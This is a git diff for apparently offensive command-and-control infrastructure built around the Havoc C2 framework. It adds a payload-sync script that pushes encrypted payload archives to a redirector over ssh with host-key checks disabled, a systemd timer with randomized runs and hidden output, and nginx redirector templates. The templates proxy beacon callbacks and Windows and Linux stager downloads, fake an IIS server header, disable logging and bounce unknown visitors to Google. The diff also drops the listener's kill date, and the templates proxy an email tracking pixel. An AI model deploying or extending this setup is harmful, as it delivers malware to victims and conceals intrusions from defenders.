diff --git a/files/secure_payload_sync.sh b/files/secure_payload_sync.sh new file mode 100644 index 0000000..bd7c73c --- /dev/null +++ b/files/secure_payload_sync.sh @@ -0,0 +1,150 @@ +#!/bin/bash +# secure_payload_sync.sh - OPSEC-focused payload distribution + +# Configuration +C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads" +REDIRECTOR_IP="{{ redirector_ip }}" +REDIRECTOR_USER="root" +SSH_KEY_PATH="/root/.ssh/id_ed25519" +REMOTE_PAYLOAD_DIR="/var/www/payloads" +ENCRYPTED_TRANSFER=true +LOG_FILE="/root/Tools/logs/payload_sync.log" +LOG_RETENTION_DAYS=3 +MAX_RANDOM_DELAY=300 # Max random delay in seconds + +# Create minimal timestamped log with auto-rotation +log() { + mkdir -p $(dirname $LOG_FILE) + echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE + find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null +} + +# Add random delay for OPSEC +sleep_random() { + DELAY=$((RANDOM % $MAX_RANDOM_DELAY)) + log "Adding random delay of $DELAY seconds" + sleep $DELAY +} + +# Generate payload manifest and check for changes +check_for_changes() { + if [ ! -d "$C2_PAYLOAD_DIR" ]; then + log "ERROR: Payload directory not found" + return 1 + fi + + TMP_DIR=$(mktemp -d) + MANIFEST_FILE="$TMP_DIR/manifest" + find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE + + CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}') + HASH_FILE="/root/Tools/.payload_hash" + + if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then + log "No payload changes detected" + secure_delete $TMP_DIR + return 1 + fi + + echo $CURRENT_HASH > $HASH_FILE + return 0 +} + +# Secure deletion of files/directories +secure_delete() { + if [ -d "$1" ]; then + find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null + rm -rf "$1" 2>/dev/null + elif [ -f "$1" ]; then + shred -n 3 -z -u "$1" 2>/dev/null + fi +} + +# Encrypt archive with random password +encrypt_archive() { + SRC="$1" + DEST="$2" + + # Generate random password + PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32) + PASS_FILE=$(mktemp) + echo $PASSWORD > $PASS_FILE + + # Encrypt the archive + openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE + + # Store password temporarily for transfer + echo $PASSWORD + + # Securely delete password file + secure_delete $PASS_FILE +} + +# Main execution +main() { + log "Starting secure payload sync" + + # Add randomized timing + sleep_random + + # Check for payload changes + check_for_changes || exit 0 + + # Generate random archive name for OPSEC + RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12) + ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz" + ENCRYPTED_NAME="${ARCHIVE_NAME}.enc" + TEMP_DIR=$(mktemp -d) + + # Create payload archive + log "Creating payload archive" + tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR) + + # Encrypt archive if enabled + PASSWORD="" + if [ "$ENCRYPTED_TRANSFER" = true ]; then + log "Encrypting payload archive" + PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME") + TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME" + else + TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME" + fi + + # Transfer archive to redirector + log "Transferring payloads to redirector" + scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME" + + # Handle remote extraction with decryption if needed + if [ "$ENCRYPTED_TRANSFER" = true ]; then + REMOTE_CMD=" + mkdir -p $REMOTE_PAYLOAD_DIR + TEMP_DIR=\$(mktemp -d) + openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\" + tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/ + # Clean up + shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null + rm -rf \$TEMP_DIR + # Update web server if needed + systemctl reload nginx 2>/dev/null + " + else + REMOTE_CMD=" + mkdir -p $REMOTE_PAYLOAD_DIR + tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/ + shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null + systemctl reload nginx 2>/dev/null + " + fi + + # Execute command on redirector + ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD" + + # Clean up local temp files + log "Cleaning up temporary files" + secure_delete $TEMP_DIR + + log "Payload sync completed successfully" +} + +# Run main function +main \ No newline at end of file diff --git a/files/setup_payload_sync.sh b/files/setup_payload_sync.sh new file mode 100644 index 0000000..c739c69 --- /dev/null +++ b/files/setup_payload_sync.sh @@ -0,0 +1,54 @@ +#!/bin/bash +# setup_payload_sync.sh - Configure systemd service and timer + +# Create systemd service file +cat > /etc/systemd/system/payload-sync.service << EOF +[Unit] +Description=Secure Payload Sync Service +After=network-online.target +Wants=network-online.target + +[Service] +Type=oneshot +ExecStart=/root/Tools/secure_payload_sync.sh +User=root +Group=root +# Security hardening +PrivateTmp=true +ProtectSystem=full +NoNewPrivileges=true +# Hide process information +StandardOutput=null +StandardError=journal + +[Install] +WantedBy=multi-user.target +EOF + +# Create systemd timer with randomized schedule +cat > /etc/systemd/system/payload-sync.timer << EOF +[Unit] +Description=Secure Payload Sync Timer +Requires=payload-sync.service + +[Timer] +# Run every 30-60 minutes with randomization +OnBootSec=5min +OnUnitActiveSec=30m +RandomizedDelaySec=30m +Persistent=true + +[Install] +WantedBy=timers.target +EOF + +# Copy script to proper location +cp secure_payload_sync.sh /root/Tools/ +chmod 700 /root/Tools/secure_payload_sync.sh + +# Enable and start timer +systemctl daemon-reload +systemctl enable payload-sync.timer +systemctl start payload-sync.timer + +echo "Payload sync service installed and timer started" \ No newline at end of file diff --git a/templates/havoc-config.yaotl.j2 b/templates/havoc-config.yaotl.j2 index 16bb980..da4c695 100644 --- a/templates/havoc-config.yaotl.j2 +++ b/templates/havoc-config.yaotl.j2 @@ -25,8 +25,6 @@ Operators { Listeners { Http { Name = "https" - KillDate = "{{ havoc_killdate | default('2030-01-01') }}" - WorkingHours = "{{ havoc_working_hours | default('0:00-23:59') }}" Hosts = [ "{{ redirector_subdomain }}.{{ domain }}" ] diff --git a/templates/redirector-site-with-tracker.conf.j2 b/templates/redirector-site-with-tracker.conf.j2 index c3fbda5..2a51915 100644 --- a/templates/redirector-site-with-tracker.conf.j2 +++ b/templates/redirector-site-with-tracker.conf.j2 @@ -30,39 +30,16 @@ server { try_files $uri $uri/ =404; } - # Havoc C2 HTTP listener paths (replacing Sliver /ajax/ paths) - location ~ ^/api/v[12]/ { - proxy_pass http://{{ c2_ip }}:{{ havoc_http_port | default(8080) }}; - proxy_http_version 1.1; - proxy_set_header Host $host; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection "upgrade"; - } - - # Havoc C2 dashboard and content paths - location ~ ^/(dashboard|content)/ { + # Only expose beacon callback paths - NOT dashboard or admin functions + location ~ ^/api/beacon/ { proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }}; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection "upgrade"; - proxy_ssl_verify off; } - # Havoc static resources path (replacing Sliver /static/ path) - location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ { - proxy_pass http://{{ c2_ip }}:{{ havoc_http_port | default(8080) }}; - proxy_http_version 1.1; - proxy_set_header Host $host; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Real-IP $remote_addr; - } - - # Payload stager paths for Havoc + # Secure stager delivery routes location ~ ^/(windows|linux)_stager\.(ps1|sh)$ { proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2; proxy_http_version 1.1; @@ -70,8 +47,8 @@ server { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; } - - # Payload content paths for Havoc + + # Content access for payload delivery location ~ ^/content/(windows|linux)/(.+)$ { proxy_pass http://{{ c2_ip }}:8443/content/$1/$2; proxy_http_version 1.1; @@ -79,26 +56,32 @@ server { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; } - - {% if setup_integrated_tracker | default(false) | bool %} - # Email tracker proxy settings - location /track/ { - proxy_pass http://{{ c2_ip }}:5000/; - proxy_http_version 1.1; - proxy_set_header Host {{ tracker_domain }}; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-Proto https; + + # Secure payload delivery path for synced payloads + location /payloads/ { + alias /var/www/payloads/; + limit_except GET { deny all; } + add_header X-Content-Type-Options "nosniff" always; + add_header Content-Security-Policy "default-src 'none'" always; + add_header X-Frame-Options "DENY" always; + add_header Server "Microsoft-IIS/10.0" always; + autoindex off; + access_log off; } - # Tracking pixel specific location - location /px.png { - proxy_pass http://{{ c2_ip }}:5000/pixel.png; + {% if setup_integrated_tracker | default(false) | bool %} + # Email tracker pixel only (not exposing dashboard) + location ~ ^/px/(.+)\.png$ { + proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png; proxy_http_version 1.1; proxy_set_header Host {{ tracker_domain }}; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-Proto https; + + # Cache control for tracking pixels + add_header Cache-Control "no-store, no-cache, must-revalidate" always; + expires -1; } {% endif %} @@ -109,28 +92,25 @@ server { add_header Referrer-Policy "no-referrer" always; add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always; - # Disable logging for this server block if zero-logs is enabled + # Disable logging {% if zero_logs | default(true) | bool %} access_log off; error_log /dev/null crit; {% endif %} } -# Catch-all server block to respond to unknown hosts +# Catch-all server block server { listen 80 default_server; listen [::]:80 default_server; listen 443 ssl default_server; listen [::]:443 ssl default_server; - # Self-signed cert for catch-all ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; - # Redirect all unknown traffic to a legitimate-looking site return 301 https://www.google.com; - # Disable logs access_log off; error_log /dev/null crit; } \ No newline at end of file diff --git a/templates/redirector-site.conf.j2 b/templates/redirector-site.conf.j2 index fbceadf..97bd32b 100644 --- a/templates/redirector-site.conf.j2 +++ b/templates/redirector-site.conf.j2 @@ -30,39 +30,16 @@ server { try_files $uri $uri/ =404; } - # Havoc C2 HTTP listener paths (replacing Sliver /ajax/ paths) - location ~ ^/api/v[12]/ { - proxy_pass http://{{ c2_ip }}:{{ havoc_http_port | default(8080) }}; - proxy_http_version 1.1; - proxy_set_header Host $host; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection "upgrade"; - } - - # Havoc C2 dashboard and content paths - location ~ ^/(dashboard|content)/ { + # Only expose beacon callback paths - NOT dashboard or admin functions + location ~ ^/api/beacon/ { proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }}; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection "upgrade"; - proxy_ssl_verify off; } - # Havoc static resources path (replacing Sliver /static/ path) - location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ { - proxy_pass http://{{ c2_ip }}:{{ havoc_http_port | default(8080) }}; - proxy_http_version 1.1; - proxy_set_header Host $host; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Real-IP $remote_addr; - } - - # Payload stager paths for Havoc + # Secure stager delivery routes location ~ ^/(windows|linux)_stager\.(ps1|sh)$ { proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2; proxy_http_version 1.1; @@ -70,8 +47,8 @@ server { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; } - - # Payload content paths for Havoc + + # Content access for payload delivery location ~ ^/content/(windows|linux)/(.+)$ { proxy_pass http://{{ c2_ip }}:8443/content/$1/$2; proxy_http_version 1.1; @@ -79,6 +56,18 @@ server { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; } + + # Secure payload delivery path for synced payloads + location /payloads/ { + alias /var/www/payloads/; + limit_except GET { deny all; } + add_header X-Content-Type-Options "nosniff" always; + add_header Content-Security-Policy "default-src 'none'" always; + add_header X-Frame-Options "DENY" always; + add_header Server "Microsoft-IIS/10.0" always; + autoindex off; + access_log off; + } # Security headers add_header X-Content-Type-Options "nosniff" always; @@ -87,49 +76,25 @@ server { add_header Referrer-Policy "no-referrer" always; add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always; - # Disable logging for this server block if zero-logs is enabled + # Disable logging {% if zero_logs | default(true) | bool %} access_log off; error_log /dev/null crit; {% endif %} } -# TCP stream configuration for Havoc C2 -stream { - # TCP forwarding for Havoc Teamserver - server { - listen {{ havoc_teamserver_port | default(40056) }}; - proxy_pass {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }}; - } - - # Additional Havoc ports - server { - listen {{ havoc_http_port | default(8080) }}; - proxy_pass {{ c2_ip }}:{{ havoc_http_port | default(8080) }}; - } - - # HTTPS for Havoc - server { - listen {{ havoc_https_port | default(443) }}; - proxy_pass {{ c2_ip }}:{{ havoc_https_port | default(443) }}; - } -} - -# Catch-all server block to respond to unknown hosts +# Catch-all server block server { listen 80 default_server; listen [::]:80 default_server; listen 443 ssl default_server; listen [::]:443 ssl default_server; - # Self-signed cert for catch-all ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; - # Redirect all unknown traffic to a legitimate-looking site return 301 https://www.google.com; - # Disable logs access_log off; error_log /dev/null crit; } \ No newline at end of file